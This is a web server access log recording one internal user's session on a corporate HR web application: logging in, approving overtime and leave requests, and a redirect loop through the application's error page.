100.64.0.1 - - [03/Sep/2025:14:58:37 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:58:37 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:00:40 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:00:40 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.40.39 - - [03/Sep/2025:15:01:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.39 - - [03/Sep/2025:15:01:32 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.40.39 - - [03/Sep/2025:15:01:32 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.39 - - [03/Sep/2025:15:01:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550
192.168.40.39 - - [03/Sep/2025:15:01:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 63347 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 63347
192.168.40.39 - - [03/Sep/2025:15:01:44 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:44 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:45 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:45 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131054%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131054&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131054%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131054&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [03/Sep/2025:15:01:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351
192.168.40.39 - - [03/Sep/2025:15:01:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16825 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16825
192.168.40.39 - - [03/Sep/2025:15:02:01 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5285 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [03/Sep/2025:15:02:01 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 5285
192.168.40.39 - - [03/Sep/2025:15:02:07 +0800] "GET /eHR/upload/userfile/1eaaadfc43c5fcb1364535089fe4318c.jpg? HTTP/1.1" 200 186986
